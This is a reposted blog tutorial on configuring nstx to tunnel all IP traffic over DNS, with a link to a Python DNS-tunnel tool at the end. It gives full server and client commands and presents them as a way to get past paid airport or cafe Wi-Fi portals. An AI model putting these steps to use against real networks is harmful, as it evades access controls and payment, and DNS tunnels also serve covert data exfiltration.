$ORIGIN tunnel.example.com.
@               IN      NS      ns.tunnel.example.com.
ns              IN      A       1.2.3.4


In other words.  We configured 1.2.3.4 to be the name server for a new
subdomain "tunnel.example.com".





Install and configure the bogus DNS server

On the machine 1.2.3.4, make sure your kernel supports the TUN/TAP network
device.  If you installed a standard 2.6 kernel image, it does.  You may have
to manually /sbin/modprobe tun.  Install the nstx Debian package:




# apt-get install nstx


Edit /etc/default/nstx and set NSTX_DOMAIN to
"tunnel.example.com" and set start_nstxd to "yes".  Finally,
set ifup_tun0 to "yes". In /etc/network/interfaces, define
a new interface tun0, as follows:




iface tun0 inet static
  address 10.0.0.1
  netmask 255.0.0.0


Now start the server by running:




# /etc/init.d/nstxd restart


If you're not running Debian, you can skip all that and just download the
code, compile it manually, and start the server by hand and then configure the
tun0 network device:




# nstxd tunnel.example.com
# /sbin/modprobe tun
# /sbin/ifconfig tun0 up 10.0.0.1 netmask 255.255.255.0


Whether you're running Debian or not, after running the nstx server, make sure
you now have a tun0 device:




# /sbin/ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX
          inet addr:10.0.0.1  P-t-P:10.0.0.1  Mask:255.0.0.0
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:50 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)


Now you need to enable forwarding on this server.  I use iptables to implement
masquerading.  There are many HOWTOs about this (a simple
one, for example). On Debian, the configuration file for iptables is in
/var/lib/iptables/active.  The relevant bit is:




*nat
:PREROUTING ACCEPT [6:1596]
:POSTROUTING ACCEPT [1:76]
:OUTPUT ACCEPT [1:76]

-A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
COMMIT


Restart iptables:




/etc/init.d/iptables restart


and enable forwarding:




echo 1 > /proc/sys/net/ipv4/ip_forward


You can make sure this is permanent by editing /etc/sysctl.conf:




net/ipv4/ip_forward=1




Configure the client

Make sure the kernel on the client machine also supports the TUN/TAP network
device.  If you installed a standard 2.6 kernel image, it does.  You may have
to manually /sbin/modprobe tun.  Install the nstx Debian package:




# apt-get install nstx


Edit /etc/default/nstx and set NSTX_DOMAIN to
"tunnel.example.com" and set start_nstxcd to "yes".  Finally,
set ifup_tun0 to "yes". In /etc/network/interfaces, define
a new interface tun0, as follows:




iface tun0 inet static
  address 10.0.0.2
  netmask 255.0.0.0
  mtu 500 # optional, may solve ssh problems


Marc Merlin points out that you may you want to add something like (below the
mtu line)



  post-up route del default; route add -net default gw 10.0.0.1


Many thanks to Marc, also for pointing out the mtu option to solve
potential ssh issues.



Alright, now you're sitting at an airport or in a cafe, and you have internet
access and they want your money before allowing you on the Internet.  However,
you noticed that you can issue DNS queries.



Assuming you got an IP address through DHCP, you should now know the IP
address of the DNS server they want you to use.  Your
/etc/resolv.conf will contain at least one "nameserver" entry.  Make
sure you use the first nameserver entry in /etc/resolv.conf
and remove the others. For the sake of this example, let's call the first and
remaining nameserver 66.77.88.99.  Edit /etc/default/nstx and change
set NSTX_DNS_SERVER to "66.77.88.99". The latest nstx Debian package
obviates this manual step as follows:



NSTX_DNS_SERVER=`grep nameserver /etc/resolv.conf |head -1|awk '{print $2}'`


That is, it simply sets NSTX_DNS_SERVER to the IP address of the
first nameserver entry in /etc/resolv.conf.



Now, (re)start the nstx client:




# /etc/init.d/nstxcd restart


If you don't have Debian, start the client manually:




# nstxcd tunnel.example.com 66.77.88.99
# /sbin/modprobe tun
# /sbin/ifconfig tun0 up 10.0.0.2 netmask 255.255.255.0


Make sure you now have a tun0 device:




# /sbin/ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          inet addr:10.0.0.2  P-t-P:10.0.0.2  Mask:255.0.0.0
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)


By running /sbin/route -n, figure out what your gateway is.  It's the
record with the "UG" Flags field.  For example:




# /sbin/route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 wlan0
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0


OK.  So "192.168.1.1" is our gateway. Assuming your wireless network device is
called "wlan0" (but it might well be "eth1", or whatever), run:




# /sbin/route del default
# /sbin/route add -host 66.77.88.99 gw 192.168.1.1 dev wlan0
# /sbin/route add default gw 10.0.0.1 tun0


Notice that "192.168.1.1" is the IP address of the gateway we learned by
running "/sbin/route -n".  Similarly, "66.77.88.99" is the nameserver from
/etc/resolv.conf. Make sure you plug in the correct IP address in
both cases.



You should now be all set.  All DNS traffic is going straight to 66.77.88.99.
All other traffic will be tunnelled through 1.2.3.4, via DNS.



from  https://thomer.com/howtos/nstx.html

-----



https://github.com/boris-arzur/bromine ,Bromine is Iodine (http://code.kryo.se/iodine/) written in python/twisted. Tunnel TCP over DNS.











 














Posted by



at



























Labels: